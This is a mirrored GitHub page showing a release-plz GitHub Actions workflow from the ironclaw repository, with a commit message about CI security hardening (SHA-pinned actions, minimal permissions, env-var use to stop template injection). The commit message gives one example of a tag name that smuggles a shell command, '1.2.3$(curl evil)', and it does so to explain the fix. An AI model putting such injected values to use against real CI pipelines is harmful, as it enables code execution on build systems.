mirror of
https://github.com/nearai/ironclaw.git
synced 2026-09-03 08:06:01 +08:00
3df1bf3830
* chore(ci): add Dependabot and pin GitHub Actions by SHA Add automated dependency vulnerability scanning via Dependabot for both Cargo crates (weekly) and GitHub Actions (weekly). Pin all 101 external action references across 14 workflow files to full commit SHAs to prevent supply-chain attacks via compromised tags. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * fix(ci): harden workflows — persist-credentials, permissions, template injection Address zizmor security audit findings: - Add persist-credentials: false to all checkout steps (artipacked) - Add explicit minimal permissions to all workflows (excessive-permissions) - Move workflow-level write permissions to job level where possible - Fix template injection in regression-test-check.yml by using env vars Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * fix(ci): address PR review comments - Group Dependabot updates by ecosystem to reduce PR noise (gemini) - Add persist-credentials: false to docker.yml checkout (Copilot) - Move inputs.tag and other expansions to env vars in docker.yml to eliminate template injection from workflow_dispatch user input Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * fix(ci): restore git push auth and harden git fetch Address PR #2043 review comments: - staging-ci create-promotion-pr: generate App token before checkout and pass it to checkout so 'git push origin "$BRANCH"' works - staging-ci update-tag: re-enable credential persistence so the 'staging-tested' tag force-push succeeds (job is internal-only) - release update-registry-checksums: re-enable credential persistence so the checksum-update branch push succeeds - regression-test-check: add '--' to git fetch to prevent refs that start with '-' from being interpreted as options Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * fix(ci): address serrrfirat PR review comments - release.yml: move github.ref_name, needs.plan.outputs.tag, and needs.plan.outputs.tag-flag to env vars across plan, build-local-artifacts, build-global-artifacts, and host jobs. The tag pattern '[0-9]+.[0-9]+.[0-9]+*' has a trailing glob, so a tag like '1.2.3\$(curl evil)' could match and be shell-expanded. - dependabot.yml: split Cargo groups into tokio-ecosystem, serialization, wasm, and everything-else to make regression bisection easier when CI fails on a Dependabot PR. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * fix(ci): add missing job-level permissions for gh CLI calls - resolve-promotion-base: add pull-requests: read for 'gh pr list' - gate: add checks: read for 'gh api .../commits/{sha}/check-runs' Both were dropped when workflow-level permissions moved to job level. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com> Co-authored-by: Zaki Manian <zaki@iqlusion.io>
46 lines
1.5 KiB
YAML
46 lines
1.5 KiB
YAML
name: Release-plz Batch Summary
|
|
|
|
on:
|
|
workflow_dispatch:
|
|
inputs:
|
|
pr_number:
|
|
description: "release-plz PR number to refresh"
|
|
required: true
|
|
type: string
|
|
dry_run:
|
|
description: "Compute the body update without editing the PR"
|
|
required: false
|
|
type: boolean
|
|
default: true
|
|
pull_request_target:
|
|
types: [opened, synchronize, reopened]
|
|
|
|
permissions:
|
|
contents: read
|
|
pull-requests: write
|
|
|
|
jobs:
|
|
update-release-pr:
|
|
if: >
|
|
(github.event_name == 'pull_request_target' &&
|
|
github.event.pull_request.head.repo.full_name == github.repository &&
|
|
startsWith(github.event.pull_request.head.ref, 'release-plz-')) ||
|
|
github.event_name == 'workflow_dispatch'
|
|
runs-on: ubuntu-latest
|
|
steps:
|
|
- name: Checkout base branch
|
|
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
|
|
with:
|
|
ref: ${{ github.event_name == 'workflow_dispatch' && 'main' || github.event.pull_request.base.ref }}
|
|
fetch-depth: 0
|
|
fetch-tags: true
|
|
persist-credentials: false
|
|
|
|
- name: Update release-plz PR body with staging batch summary
|
|
env:
|
|
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
|
PR_NUMBER: ${{ github.event_name == 'workflow_dispatch' && inputs.pr_number || github.event.pull_request.number }}
|
|
REPO: ${{ github.repository }}
|
|
DRY_RUN: ${{ github.event_name == 'workflow_dispatch' && inputs.dry_run || 'false' }}
|
|
run: bash .github/scripts/update-release-plz-body.sh
|